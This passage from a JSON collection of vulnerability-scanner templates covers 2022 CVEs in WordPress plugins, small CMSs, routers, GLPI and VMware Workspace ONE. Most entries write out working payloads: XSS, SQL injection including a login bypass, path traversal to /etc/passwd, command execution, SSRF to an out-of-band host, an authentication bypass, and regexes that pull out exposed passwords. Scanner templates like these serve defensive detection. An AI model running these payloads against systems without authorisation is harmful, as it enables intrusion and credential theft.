/wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(document.domain);/*x&iframe_id=panda-repeater-add-new&success=1 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"alert(document.domain)\")","contains(body_2, \"panda-repeater-add-new\")"],"condition":"and"}]}]},{"id":"CVE-2022-24899","info":{"name":"Contao <4.13.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","\"Not authenticated\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2022-34121","info":{"name":"CuppaCMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /templates/default/html/windows/right.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=../../../../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32007","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser_email={{username}}&user_pass={{password}}&btnLogin=\n","GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,md5({{num}}),3,4,5,6--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-25082","info":{"name":"TOTOLink - Unauthenticated Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1\nHost: {{Hostname}}\n","GET /{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":[".sh",".cgi"],"condition":"and"},{"type":"word","part":"header_2","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42095","info":{"name":"Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /?q=user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in\n","GET /?q=node/add/page HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=node/add/page HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntitle={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save\n","POST /?q={{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_5 == 200","contains(header_5, 'text/html')","contains(body_5, \"\")","contains(body_5, 'Backdrop CMS')"],"condition":"and"}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-21661","info":{"name":"WordPress <5.8.3 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=ecsload&query={\"tax_query\":{\"0\":{\"field\":\"term_taxonomy_id\",\"terms\":[\"\"]}}}&ecs_ajax_settings={\"post_id\":\"1\", \"current_page\":1, \"widget_id\":1, \"theme_id\":1, \"max_num_pages\":10}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"WordPress database error:\")","contains(body, \"error in your SQL syntax\")"],"condition":"and"}]}]},{"id":"CVE-2022-33901","info":{"name":"WordPress MultiSafepay for WooCommerce <=4.13.1 - Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=admin_init&log_filename=../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4447","info":{"name":"WordPress Fontsy <=1.8.6 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"{{md5(num)}}\")"],"condition":"and"}]}]},{"id":"CVE-2022-37190","info":{"name":"Cuppa CMS v1.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Ftable_manager%2Fview%2Fcu_api_keys\n","POST /api/index.php HTTP/1.1\nHost: {{Hostname}}\nkey: {{apikey}}\nContent-Type: application/x-www-form-urlencoded\n\naction=system&function=exec&cmd=cat+/etc/passwd\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header_3","words":["text/html"]},{"type":"regex","regex":["postgres:.*:1001:","root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"apikey","group":1,"regex":["(.*?)"],"internal":true}]}]},{"id":"CVE-2022-0773","info":{"name":"Documentor <= 1.5.3 - Unauthenticated SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)\n","GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code == 200","contains(content_type_1, \"text/html\")","contains(body_1, \"([])\") && contains(body_2, \".documentor-help\")"],"condition":"and"}]}]},{"id":"CVE-2022-3908","info":{"name":"WordPress Helloprint <1.4.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=language-translate.php&success=added\"> successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-31984","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('{{num}}'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42749","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"],"condition":"and"},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-4897","info":{"name":"WordPress BackupBuddy <8.8.3 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=destination_picker&add=local&filter=local&callback_data=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.11\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"onload=alert(document.domain)\")","contains(body_2, \"BackupBudddy iFrame\")"],"condition":"and"}]}]},{"id":"CVE-2022-26148","info":{"name":"Grafana & Zabbix Integration - Credentials Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?redirect=%2F"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zabbix\":","\"zbx\":","alexanderzobnin-zabbix-datasource"],"condition":"or"},{"type":"regex","part":"body","regex":["\"password\":\"(.*?)\"","\"username\":\"(.*?)\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"password\":\"(.*?)\"","\"username\":\"(.*?)\"","\"url\":\"([a-z:/0-9.]+)\\/api_jsonrpc\\.php"]}]}]},{"id":"CVE-2022-0735","info":{"name":"GitLab CE/EE - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["015d088713b23c749d8be0118caeb21039491d9812c75c913f48d53559ab09df","02aa9533ec4957bb01d206d6eaa51d762c7b7396362f0f7a3b5fb4dd6088745b","051048a171ccf14f73419f46d3bd8204aa3ed585a72924faea0192f53d42cfce","08858ced0ff83694fb12cf155f6d6bf450dcaae7192ea3de8383966993724290","0993beabc8d2bb9e3b8d12d24989426b909921e20e9c6a704de7a5f1dfa93c59","1832611738f1e31dd00a8293bbf90fce9811b3eea5b21798a63890dbc51769c8","1d765038b21c5c76ff8492561c29984f3fa5c4b8cfb3a6c7b216ac8ab18b78c7","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","27d2c4c4e2fcf6e589e3e1fe85723537333b087003aa4c1d2abcf74d5c899959","2cb8d6d6d17f1b1b8492581de92356755b864cbb6e48347a65baa2771a10ae4f","2ea7e9be931f24ebc2a67091b0f0ff95ba18e386f3d312545bb5caaac6c1a8be","301b60d2c71a595adfb65b22edee9023961c5190e1807f6db7c597675b0a61f0","30a9dffe86b597151eff49443097496f0d1014bb6695a2f69a7c97dc1c27828f","383b8952f0627703ada7774dd42f3b901ea2e499fd556fce3ae0c6d604ad72b7","4448d19024d3be03b5ba550b5b02d27f41c4bdba4db950f6f0e7136d820cd9e1","450cbe5102fb0f634c533051d2631578c8a6bae2c4ef1c2e50d4bfd090ce3b54","455d114267e5992b858fb725de1c1ddb83862890fe54436ffea5ff2d2f72edc8","4990bb27037f3d5f1bffc0625162173ad8043166a1ae5c8505aabe6384935ce2","4abc4e078df94075056919bd59aed6e7a0f95067039a8339b8f614924d8cb160","4f233d907f30a050ca7e40fbd91742d444d28e50691c51b742714df8181bf4e7","50d9206410f00bb00cc8f95865ab291c718e7a026e7fdc1fc9db0480586c4bc9","515dc29796a763b500d37ec0c765957a136c9e1f1972bb52c3d7edcf4b6b8bbe","52560ba2603619d2ff1447002a60dcb62c7c957451fb820f1894e1ce7c23821c","57e83f1a3cf7c0fe3cf2357802306688dab60cf6a30d00e14e67826070db92de","5cd37ee959b5338b5fb48eafc6c7290ca1fa60e653292304102cc19a16cc25e4","5df2cb13ec314995ea43d698e888ddb240dbc7ccb6e635434dc8919eced3e25f","62e4cc014d9d96f9cbf443186289ffd9c41bdfe951565324891dcf38bcca5a51","655ad8aea57bdaaad10ff208c7f7aa88c9af89a834c0041ffc18c928cc3eab1f","6ae610d783ba9a520b82263f49d2907a52090fecb3ac37819cea12b67e6d94fb","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","775f130d36e9eb14cb67c6a63551511b87f78944cebcf6cdddb78292030341df","79837fd1939f90d58cc5a842a81120e8cecbc03484362e88081ebf3b7e3830e9","7f1c7b2bfaa6152740d453804e7aa380077636cad101005ed85e70990ec20ec5","81c5f2c7b2c0b0abaeb59585f36904031c21b1702c24349404df52834fbd7ad3","8b78708916f28aa9e54dacf9c9c08d720837ce78d8260c36c0f828612567d353","90abf7746df5cb82bca9949de6f512de7cb10bec97d3f5103299a9ce38d5b159","969119f639d0837f445a10ced20d3a82d2ea69d682a4e74f39a48a4e7b443d5e","a0c92bafde7d93e87af3bc2797125cba613018240a9f5305ff949be8a1b16528","a4333a9de660b9fc4d227403f57d46ec275d6a6349a6f5bda0c9557001f87e5d","a573aed3df818ca78ab40c01ae3514e16271a18e3c83122deab5d5623b25d4fe","a624c11e908db556820e9b07de96e0a465e9be5d5e6b68cdafe6d5c95c99798b","a8bf3d1210afa873d9b9af583e944bdbf5ac7c8a63f6eccc3d6795802bd380d2","a9308f85e95b00007892d451fd9f6beabcd8792b4c5f8cd7524ba7e941d479c9","ac9b38e86b6c87bf8db038ae23da3a5f17a6c391b3a54ad1e727136141a7d4f5","ae0edd232df6f579e19ea52115d35977f8bdbfa9958e0aef2221d62f3a39e7d8","b50bfeb87fe7bb245b31a0423ccfd866ca974bc5943e568ce47efb4cd221d711","ba74062de4171df6109c4c96da1ebe2b538bb6cc7cd55867cbdfba44777700e1","be9a23d3021354ec649bc823b23eab01ed235a4eb730fd2f4f7cdb2a6dee453a","bf1ba5d5d3395adc5bad6f17cc3cb21b3fb29d3e3471a5b260e0bc5ec7a57bc4","bf1c397958ee5114e8f1dadc98fa9c9d7ddb031a4c3c030fa00c315384456218","c8d8d30d89b00098edab024579a3f3c0df2613a29ebcd57cdb9a9062675558e4","c91127b2698c0a2ae0103be3accffe01995b8531bf1027ae4f0a8ad099e7a209","c923fa3e71e104d50615978c1ab9fcfccfcbada9e8df638fc27bf4d4eb72d78c","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","d0850f616c5b4f09a7ff319701bce0460ffc17ca0349ad2cf7808b868688cf71","d161b6e25db66456f8e0603de5132d1ff90f9388d0a0305d2d073a67fd229ddb","e2578590390a9eb10cd65d130e36503fccb40b3921c65c160bb06943b2e3751a","e355f614211d036d0b3ffac4cd76da00d89e05717df61629e82571e20ac27488","e539e07c389f60596c92b06467c735073788196fa51331255d66ff7afde5dfee","ec9dfedd7bd44754668b208858a31b83489d5474f7606294f6cc0128bb218c6d","f154ef27cf0f1383ba4ca59531058312b44c84d40938bc8758827023db472812","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac","f9ab217549b223c55fa310f2007a8f5685f9596c579f5c5526e7dcb204ba0e11"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-31981","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=teams/view_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Control Teams\")"],"condition":"and"}]}]},{"id":"CVE-2022-25323","info":{"name":"ZEROF Web Server 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin.back"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["back"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[401]}]}]},{"id":"CVE-2022-1398","info":{"name":"External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/upload.php HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-post.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body_2","words":["external-media-without-import"]}]}]},{"id":"CVE-2022-24266","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\norder_by=id`,if(SUBSTRING('test',1,1)='t',sleep(6),sleep(0))--+-&path=component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=wrapper_content_919044\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"list_admin_table\")"],"condition":"and"}]}]},{"id":"CVE-2022-22972","info":{"name":"VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /vcac/ HTTP/1.1\nHost: {{Hostname}}\n","GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1\nHost: {{Hostname}}\n","POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1\nHost: {{interactsh-url}}\nContent-type: application/x-www-form-urlencoded\n\nprotected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":3,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["HZN="]},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"protected_state","group":1,"regex":["id=\"protected_state\" value=\"([a-zA-Z0-9]+)\"\\/>"],"internal":true,"part":"body"},{"type":"regex","name":"horizonRelayState","group":1,"regex":["name=\"horizonRelayState\" value=\"([a-z0-9-]+)\"\\/>"],"internal":true,"part":"body"},{"type":"regex","name":"userstore","group":1,"regex":["id=\"userstore\" value=\"([a-z.]+)\" \\/>"],"internal":true,"part":"body"},{"type":"regex","name":"userstoreDisplay","group":1,"regex":["id=\"userstoreDisplay\" readonly class=\"login-input transparent_class\" value=\"(.*)\"/>"],"internal":true,"part":"body"},{"type":"regex","name":"stickyConnectorId","group":1,"regex":["name=\"stickyConnectorId\" value=\"(.*)\"/>"],"internal":true,"part":"body"},{"type":"kval","name":"HZN-Cookie","kval":["HZN"],"part":"header"}]}]},{"id":"CVE-2022-0201","info":{"name":"WordPress Permalink Manager <2.2.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","pm_query"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2022-1768","info":{"name":"WordPress RSVPMaker <=9.3.2 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nrsvp_id=(select(0)from(select(sleep(5)))a)&amount=1234&email=randomtext\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["\"payment_confirmation_message\":"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4057","info":{"name":"Autoptimize < 3.1.0 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/uploads/ao_ccss/queuelog.html","{{BaseURL}}/blog/wp-content/uploads/ao_ccss/queuelog.html"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Job id <","log messages"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43164","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=global_lists/lists&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E¬es=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-1391","info":{"name":"WordPress Cab fare calculator < 1.0.4 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1168","info":{"name":"WordPress WP JobSearch <1.5.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","wp-jobsearch"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-27927","info":{"name":"Microfinance Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-48165","info":{"name":"Wavlink - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportLogs.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Password=","Login="],"condition":"and"},{"type":"word","part":"header","words":["filename=\"sysLogs.txt\""]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["Password=([^\\s]+)"]}]}]},{"id":"CVE-2022-35914","info":{"name":"GLPI <=10.0.2 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: sid=foo\n\nsid=foo&hhook=exec&text={{cmd}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26960","info":{"name":"elFinder <=2.1.60 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25489","info":{"name":"Atom CMS v2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/widgets/debug.php?a="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Path Array","console-debug"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43170","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=dashboard_configure/index&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=info_block&is_active=1§ions_id=0&color=default&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&icon=&description=&sort_order=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-4320","info":{"name":"WordPress Events Calendar <1.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX\">","{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=","{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=-->"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["imgNavLeftXX\\\">","({});",">.js"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46071","info":{"name":"Helmet Store Showroom v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername='+OR+1%3D1+--+-&password=1234\n","GET /admin/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"Helmet Store\") && contains(body_2, \"Adminstrator Admin\")"],"condition":"and"}]}]},{"id":"CVE-2022-2546","info":{"name":"WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, '{\\\"new_value\\\":[\\\"XSSPAYLOAD')"],"condition":"and"}],"extractors":[{"type":"regex","name":"secretkey","group":1,"regex":["ai1wm_feedback\"},\"secret_key\":\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-32770","info":{"name":"WWBN AVideo 11.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["text: \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44952","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 